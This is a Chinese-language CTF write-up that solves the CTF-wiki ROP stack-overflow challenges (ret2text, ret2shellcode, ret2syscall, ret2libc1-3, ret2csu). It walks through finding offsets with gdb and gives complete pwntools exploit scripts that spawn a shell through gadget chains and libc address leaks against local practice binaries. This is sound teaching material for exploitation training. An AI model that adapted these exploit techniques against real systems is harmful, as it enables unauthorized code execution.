【CTFwiki】ROP栈溢出漏洞合集
题目文件下载链接:ctf-wiki/ctf-challenges · GitHub
ret2text
题目链接:ret2text
分析程序:
get()
函数存在栈溢出
查看字符串,发现 "/bin/sh"
,在函数 secure()
中直接有构造好的 system("/bin/sh")
方法有两种:
- 可以直接绕过 if 语句跳转到地址 0x0804863A 执行
system("/bin/sh")
(脚本一) - 通过
gets()
溢出跳转到secure()
函数,绕过伪随机数,使 input 满足if(input == secretcode)
条件(脚本二)
确定溢出的偏移量
这里直接通过 IDA 看到的偏移量是不对的:(IDA 中需要填充 0x64 + 0x4)
使用 GDB 调试一下:
- 首先生成 200 个随机字符序列:
cyclic 200
- 开始调试程序:
gdb ret2text
- 直接运行程序,到达输入的位置:
r
- 输入刚刚生成的 200 个随机字符序列,发现
*EIP 0x62616164 ('daab')
、Invalid address 0x62616164
,说明我们输入的字符覆盖了 EIP,即字符 “daab” - 计算偏移量:
cyclic -l 0x62616164
- 发现偏移了 112 字节,即:0x6c + 0x4,并不是 IDA 中的 0x64 + 0x4
注意这里通过 gdb 调试的溢出值是 112,也和 IDA 不同,以 gdb 的调试结果为准
脚本一
from pwn import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2text") # 程序在Linux的路径
system_bin_sh_addr = 0x0804863A
payload = b'a' * 112 + p32(system_bin_sh_addr)
io.sendlineafter("There is something amazing here, do you know anything?\n", payload)
io.interactive() # 与远程交互
脚本二
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2text") # 程序在Linux的路径
elf = ELF("/home/wyy/桌面/PWN/CTF-wiki/ret2text")
payload = b'a' * 112 + p32(elf.symbols['secure'])
io.sendlineafter("There is something amazing here, do you know anything?\n", payload)
lib = cdll.LoadLibrary("libc.so.6")
lib.srand(lib.time(0))
num = lib.rand()
io.sendline(str(num))
io.interactive() # 与远程交互
ret2shellcode
题目链接:ret2shellcode
分析程序:
gets()
存在栈溢出,同时将输入 s
复制到 buf2
,buf2
存储在 bss 段上
查看 bss 段执行权限
gdb 打开后,先 b main
下断点,然后 r
执行
使用 vmmap
查看
发现 buf2
所在的 bss 段地址具有可执行权限
直接写入 shellcode 并执行触发即可 (注意这里通过 gdb 调试的溢出值是 112,也和 IDA 不同,以 gdb 的调试结果为准)
脚本
from pwn import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2shellcode") # 程序在Linux的路径
shellcode = asm(shellcraft.sh())
bin_sh_addr = 0x804A080
payload = shellcode.ljust(112, b'a') + p32(bin_sh_addr)
io.sendlineafter("No system for you this time !!!\n", payload)
io.interactive()
ret2syscall
题目链接:ret2syscall
分析程序:
get()
存在栈溢出
由于是 32 位程序,用 ROPgadget 搜索 int
发现存在 “int 0x80
“,同时存在 “/bin/sh
“
查看寄存器是否满足要求:
可以凑齐对 eax
、ebx
、ecx
、edx
的控制
确定偏移量:
编写 shellcode 执行 execve("/bin/sh", NULL, NULL)
(注意这里通过 gdb 调试的溢出值是 112,也和 IDA 不同,以 gdb 的调试结果为准)
脚本
from pwn import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2syscall") # 程序在Linux的路径
pop_eax_addr = 0x080bb196
pop_edx_ecx_ebx_addr = 0x0806eb90
int_0x80_addr = 0x08049421
bin_sh_addr = 0x080be408
payload = b'a' * 112 + p32(pop_eax_addr) + p32(0xb)
payload += p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(0) + p32(bin_sh_addr)
payload += p32(int_0x80_addr)
io.sendlineafter("What do you plan to do?\n", payload)
io.interactive()
ret2libc1
题目链接:ret2libc1
分析程序:
get()
可以溢出
发现有后门函数:
与 ret2text 那道题类似,但这里 system()
的参数不是 “/bin/sh
“
发现程序里是有 “/bin/sh
“ 的:
所以思路就是控制 system()
的参数为 “/bin/sh
“ (注意这里通过 gdb 调试的溢出值是 112,也和 IDA 不同,以 gdb 的调试结果为准)
脚本一
from pwn import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2libc1") # 程序在Linux的路径
bin_sh_addr = 0x08048720
call_system_addr = 0x08048611
payload = b'a' * 112 + p32(call_system_addr) + p32(bin_sh_addr)
io.sendlineafter("RET2LIBC >_<\n", payload)
io.interactive()
脚本二
from pwn import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2libc1") # 程序在Linux的路径
bin_sh_addr = 0x08048720
elf = ELF("/home/wyy/桌面/PWN/CTF-wiki/ret2libc1")
system_plt_addr = elf.plt['system']
payload = b'a' * 112 + p32(system_plt_addr) + b'aaaa' + p32(bin_sh_addr)
io.sendlineafter("RET2LIBC >_<\n", payload)
io.interactive()
ret2libc2
题目链接:ret2libc2
分析程序:
get()
存在栈溢出
仍然存在后门函数:
但是这次没有 “/bin/sh
“
考虑先通过溢出执行 gets()
函数,向 bss 段上写入 “/bin/sh
“,然后再执行 system()
来调用
给 gets()
的参数存放在 ebx
中
(注意这里通过 gdb 调试的溢出值是 112,也和 IDA 不同,以 gdb 的调试结果为准)
脚本一
from pwn import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2libc2") # 程序在Linux的路径
elf = ELF("/home/wyy/桌面/PWN/CTF-wiki/ret2libc2")
gets_plt_addr = elf.plt['gets']
call_system_addr = 0x08048641
bss_addr = 0x804a080
pop_ebx_addr = 0x0804843d
payload = b'a' * 112 + p32(gets_plt_addr) + p32(pop_ebx_addr) + p32(bss_addr)
payload += p32(call_system_addr) + p32(bss_addr)
io.sendlineafter("What do you think ?", payload)
io.sendline(b'/bin/sh')
io.interactive()
脚本二
from pwn import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2libc2") # 程序在Linux的路径
elf = ELF("/home/wyy/桌面/PWN/CTF-wiki/ret2libc2")
gets_plt_addr = elf.plt['gets']
system_plt_addr = elf.plt['system']
bss_addr = 0x804a080
pop_ebx_addr = 0x0804843d
payload = b'a' * 112 + p32(gets_plt_addr) + p32(pop_ebx_addr) + p32(bss_addr)
payload += p32(system_plt_addr) + b'aaaa' + p32(bss_addr)
io.sendlineafter("What do you think ?", payload)
io.sendline(b'/bin/sh')
io.interactive()
ret2libc3
题目链接:ret2libc3
分析程序:
还是有后门函数,但是给的是 puts()
不是 system()
,在 IDA 发现程序没有给出 system()
函数
同样也没有 “/bin/sh
“
考虑先通过 puts()
函数来泄露一个函数的真实地址(我这里以泄露 __libc_start_main
为例)
然后使用 libc 来得到 system()
函数和 “/bin/sh
“ 的地址
(注意这里通过 gdb 调试的溢出值是 112,也和 IDA 不同,以 gdb 的调试结果为准)
注意:
如果你是按照网上的教程通过 git 安装的LibcSearcher
,脚本可能会报错 “libcsearcher No matched libc, please add more libc or try others
“,详见 《Ubuntu22.04虚拟机环境搭建》 中 安装 LibcSearcher 一节
脚本
from pwn import *
from LibcSearcher import LibcSearcher
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2libc3") # 程序在Linux的路径
elf = ELF("/home/wyy/桌面/PWN/CTF-wiki/ret2libc3")
main_addr = elf.symbols['main']
puts_plt_addr = elf.plt['puts']
libc_start_main_got_addr = elf.got['__libc_start_main']
payload = b'a' * 112 + p32(puts_plt_addr) + p32(main_addr) + p32(libc_start_main_got_addr)
io.sendlineafter("Can you find it !?", payload)
libc_start_main_addr = u32(io.recv(4))
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')
payload = b'a' * 104 + p32(system_addr) + b'aaaa' + p32(bin_sh_addr)
io.recvuntil('Can you find it !?')
io.sendline(payload)
io.interactive()
ret2csu
题目链接:ret2csu
libc 文件:ret2csu - libc.so.6 ret2csu - libc.so
分析程序:
在 vulnerable_function()
中可以溢出:
并且这一次是什么都没有:
找到 __libc_csu_init
函数
确定两段 gadget 的地址:
开始利用 ret2csu 构造
这个题 libc 版本有点坑,使用 LibcSearcher 找到的 libc 很多都打不通,包括 hitcon-level5 中给出的 libc.so.6
最后用 Ubuntu 22.04 自带的 libc 打通
另外,这个题构造
system("/bin/sh")
无法 get shell,但是通过系统调用execve("/bin/sh", 0, 0)
可以,应该是环境变量的问题
另外,如果使用的是旧版本的 Ubuntu 16.04 环境
例如,libc 版本为 2.23,ldd (Ubuntu GLIBC 2.23-0ubuntu11.3) 2.23
可以指定程序的 libc 为题目给出的 libc,这样不用 Ubuntu 16.04 自带的 libc 也是可以打通的 (当然自带的 libc 也可以打通)
from pwn import *
# from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2csu", env={"LD_PRELOAD":'./libc.so.6'}) # 程序在Linux的路径, 指定 libc 为题目给的 libc
elf = ELF("/home/wyy/桌面/PWN/CTF-wiki/ret2csu")
# 使用 Ubuntu 16.04 自带的 libc
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc.so.6")
如图:
脚本
from pwn import *
# from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2csu") # 程序在Linux的路径
elf = ELF("/home/wyy/桌面/PWN/CTF-wiki/ret2csu")
# 使用 Ubuntu 22.04 自带的 libc
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
write_got_addr = elf.got['write']
read_got_addr = elf.got['read']
main_addr = elf.symbols['main']
gadget1_addr = 0x4011DE
gadget2_addr = 0x4011C8
# 第一次 csu 泄露 read 函数的真实地址, 然后回到 main
payload = b'a' * (0x80 + 0x8) + p64(gadget1_addr) + p64(0)
payload += p64(0) + p64(1) + p64(write_got_addr) + p64(1) + p64(read_got_addr) + p64(8)
payload += p64(gadget2_addr)
payload += b'a' * 0x38
payload += p64(main_addr)
io.sendlineafter("Hello, World\n", payload)
# 记录 read 函数的真实地址
read_addr = u64(io.recv(8))
print(hex(read_addr))
# 根据 read 函数真实地址在 libc 中的偏移计算 execve 函数的真实地址
libcbase = read_addr - libc.symbols['read']
execve_addr = libcbase + libc.symbols['execve']
# 获取 bss 段地址, 在此写入 execve 函数地址和 '/bin/sh'
bss_addr = elf.bss()
print(hex(bss_addr))
# 第二次 csu 调用 read 函数向 bss 段写入
payload = b'a' * (0x80 + 0x8) + p64(gadget1_addr) + p64(0)
payload += p64(0) + p64(1) + p64(read_got_addr) + p64(0) + p64(bss_addr) + p64(16)
payload += p64(gadget2_addr)
payload += b'a' * 0x38
payload += p64(main_addr)
io.sendlineafter("Hello, World\n", payload)
# 将 execve 函数地址和 '/bin/sh' 写入 bss 段
io.send(p64(execve_addr) + b'/bin/sh\x00') # 一次写入,写成两次 io.send 就错了
# 第三次 csu 执行 bss_addr 处的 execve 函数,将 bss_addr + 8 处的 '/bin/sh' 作为参数
# 执行 execve("/bin/sh", 0, 0)
payload = b'a' * (0x80 + 0x8) + p64(gadget1_addr) + p64(0)
payload += p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr + 8) + p64(0) + p64(0)
payload += p64(gadget2_addr)
payload += b'a' * 0x38
payload += p64(main_addr)
io.sendlineafter("Hello, World\n", payload)
io.interactive()